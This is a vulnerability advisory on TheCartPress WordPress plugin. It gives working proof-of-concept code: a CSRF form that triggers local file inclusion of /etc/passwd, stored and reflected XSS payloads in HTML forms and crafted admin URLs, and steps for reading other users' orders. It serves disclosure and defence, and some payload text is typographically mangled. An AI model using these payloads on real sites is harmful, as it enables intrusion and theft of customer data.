Multiple Vulnerabilities in TheCartPress WordPress plugin

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in TheCartPress WordPress plugin, which can be exploited to execute arbitrary PHP code, disclose sensitive data, and perform Cross-Site Scripting attacks against users of WordPress installations with the vulnerable plugin.

1. Local PHP File Inclusion in TheCartPress WordPress plugin: CVE-2015-3301

Input passed via the “tcp_box_path” HTTP POST parameter passed to “/wp-admin/admin.php?page=checkout_editor_settings” URL is not properly verified before being used in PHP ‘include()’ function, and can be abused to include arbitrary local files via directory traversal sequences.

In order to successfully exploit the vulnerability an attacker needs to have administrator privileges on WordPress installation, however this can be also exploited via CSRF vector to which the script is vulnerable as well.

Simple CSRF exploit below will execute the content of ‘/etc/passwd’ file when a logged-in administrator will visit a page with it:
<form action=“http://wordpress/wp-admin/admin.php?page=checkout_editor_settings” method=“post” name=“main”>
<input type=“hidden” name=“tcp_save_fields” value=‘1’>
<input type=“hidden” name=“tcp_box_path” value=‘…/…/…/…/…/etc/passwd’>
<input type=“submit” id=“btn”>
</form>
<script>
document.main.submit();
</script>

2. Stored XSS in TheCartPress WordPress plugin: CVE-2015-3300

During the checkout process, many user-supplied HTTP POST parameters (see complete list in PoC)in “Shipping address” and “Billing address” sections are not being sanitized before being stored in the local database.

Simple mass-XSS PoC against “Billing address” section (PoC against “Shipping address” scetion is identical, just replace ‘billing_’ prefix with ‘shipping_’) will write several JS pop-up alerts into the application database:
<form action=“http://wordpress/shopping-cart/checkout/” method=“post” name=“main”>
<input type=“hidden” name=“selected_billing_id” value=‘1’>
<input type=“hidden” name=“selected_billing_address” value=‘new’>
<input type=“hidden” name=“billing_firstname” value=‘"><script>alert(/immuniweb/);</script>’>
<input type=“hidden” name=“billing_lastname” value=‘"><script>alert(/immuniweb/);</script>’>
<input type=“hidden” name=“billing_company” value=‘"><script>alert(/immuniweb/);</script>’>
<input type=“hidden” name=“billing_tax_id_number” value=‘"><script>alert(/immuniweb/);</script>’>
<input type=“hidden” name=“billing_country_id” value=‘AF’>
<input type=“hidden” name=“billing_region_id” value=‘’>
<input type=“hidden” name=“billing_region” value=‘’>
<input type=“hidden” name=“billing_city” value=‘"><script>alert(/immuniweb/);</script>’>
<input type=“hidden” name=“billing_street” value=‘"><script>alert(/immuniweb/);</script>’>
<input type=“hidden” name=“billing_street_2” value=‘"><script>alert(/immuniweb/);</script>’>
<input type=“hidden” name=“billing_postcode” value=‘"><script>alert(/immuniweb/);</script>’>
<input type=“hidden” name=“billing_telephone_1” value=‘"><script>alert(/immuniweb/);</script>’>
<input type=“hidden” name=“billing_telephone_2” value=‘"><script>alert(/immuniweb/);</script>’>
<input type=“hidden” name=“billing_fax” value=‘"><script>alert(/immuniweb/);</script>’>
<input type=“hidden” name=“billing_email” value=‘[email protected]’>
<input type=“hidden” name=“tcp_continue” value=‘’>
<input type=“hidden” name=“tcp_step” value=‘1’>
<input type=“submit” id=“btn”>
</form>

A non-authenticated attacker may inject malicious HTML and JS code that will be stored in the application database, and available to any non-authenticated user on the following URL:

http://wordpress/wp-admin/admin-ajax.php?order_id=[order_id]&amp;action=tcp_prin t_order

As well as on the following URL accessible to WordPress administrator only:

http://wordpress/wp-admin/admin.php?page=thecartpress/admin/OrdersListTable. php

3. Improper Access Control in TheCartPress WordPress plugin: CVE-2015-3302

Any non-authenticated user may browse orders of other users due to broken authentication mechanism. To reproduce the vulnerability an attacker shall first open the following URL:
http://wordpress/shopping-cart/checkout/?tcp_checkout=ok&amp;order_id=[order_id]

And just after open the following URL to see full order details:
http://wordpress/wp-admin/admin-ajax.php?order_id=[order_id]&amp;action=tcp_prin t_order

Moreover, the order ID can be easily predicted, as every new order ID is an incremented value of the previous one. This enables non-authenticated remote attacker to steal all currently-existing orders.

4. Multiple XSS in TheCartPress WordPress plugin (against administrator only): CVE-2015-3300

4.1 Input passed via the “search_by” GET parameter to “/wp-admin/admin.php?page=thecartpress/admin/AddressesList.php” is not properly sanitised before being returned to the user. A remote attacker can trick logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

http://wordpress/wp-admin/admin.php?page=thecartpress/admin/AddressesList.ph p&search_by=–%3E%%27%22%3E%3Cscript%3Ealert%28%27immuniweb%27%29;%3C/script %3E

4.2 Input passed via the “address_id”, “address_name”, “firstname”, “lastname”, “street”, “city”, “postcode”, “email” GET parameters to “/wp-admin/admin.php?page=thecartpress/admin/AddressEdit.php” is not properly sanitised before being returned to the user. A remote attacker can trick logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

http://wordpress/wp-admin/admin.php?page=thecartpress/admin/AddressEdit.php&amp; address_id=%27%22%3E%3Cscript%3Ealert%28%27immuniweb%27%29;%3C/script%3E
http://wordpress/wp-admin/admin.php?page=thecartpress/admin/AddressEdit.php&amp; address_name=%27%22%3E%3Cscript%3Ealert%28%27immuniweb%27%29;%3C/script%3E
http://wordpress/wp-admin/admin.php?page=thecartpress/admin/AddressEdit.php&amp; firstname=%27%22%3E%3Cscript%3Ealert%28%27immuniweb%27%29;%3C/script%3E
http://wordpress/wp-admin/admin.php?page=thecartpress/admin/AddressEdit.php&amp; lastname=%27%22%3E%3Cscript%3Ealert%28%27immuniweb%27%29;%3C/script%3E
http://wordpress/wp-admin/admin.php?page=thecartpress/admin/AddressEdit.php&amp; street=%27%22%3E%3Cscript%3Ealert%28%27immuniweb%27%29;%3C/script%3E
http://wordpress/wp-admin/admin.php?page=thecartpress/admin/AddressEdit.php&amp; city=%27%22%3E%3Cscript%3Ealert%28%27immuniweb%27%29;%3C/script%3E
http://wordpress/wp-admin/admin.php?page=thecartpress/admin/AddressEdit.php&amp; postcode=%27%22%3E%3Cscript%3Ealert%28%27immuniweb%27%29;%3C/script%3E
http://wordpress/wp-admin/admin.php?page=thecartpress/admin/AddressEdit.php&amp; email=%27%22%3E%3Cscript%3Ealert%28%27immuniweb%27%29;%3C/script%3E

4.3 Input passed via the “post_id” and “rel_type” GET parameters to “/wp-admin/admin.php?page=thecartpress/admin/AssignedCategoriesList.php” is not properly sanitised before being returned to the user. A remote attacker can trick logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

http://wordpress/wp-admin/admin.php?page=thecartpress/admin/AssignedCategori esList.php&post_id=%27%22%3E%3Cscript%3Ealert%28%27immuniweb%27%29;%3C/scrip t%3E
http://wordpress/wp-admin/admin.php?page=thecartpress/admin/AssignedCategori esList.php&post_id=1&rel_type=%27%22%3E%3Cscript%3Ealert%28%27immuniweb%27%2 9;%3C/script%3E

4.4 Input passed via the “post_type” GET parameter to “/wp-admin/admin.php?page=thecartpress/admin/CustomFieldsList.php” is not properly sanitised before being returned to the user. A remote attacker can trick logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

http://wordpress/wp-admin/admin.php?page=thecartpress/admin/CustomFieldsList .php&post_type=1–%3E%27%22%3E%3Cscript%3Ealert%28%27immuniweb%27%29;%3C/scr ipt%3E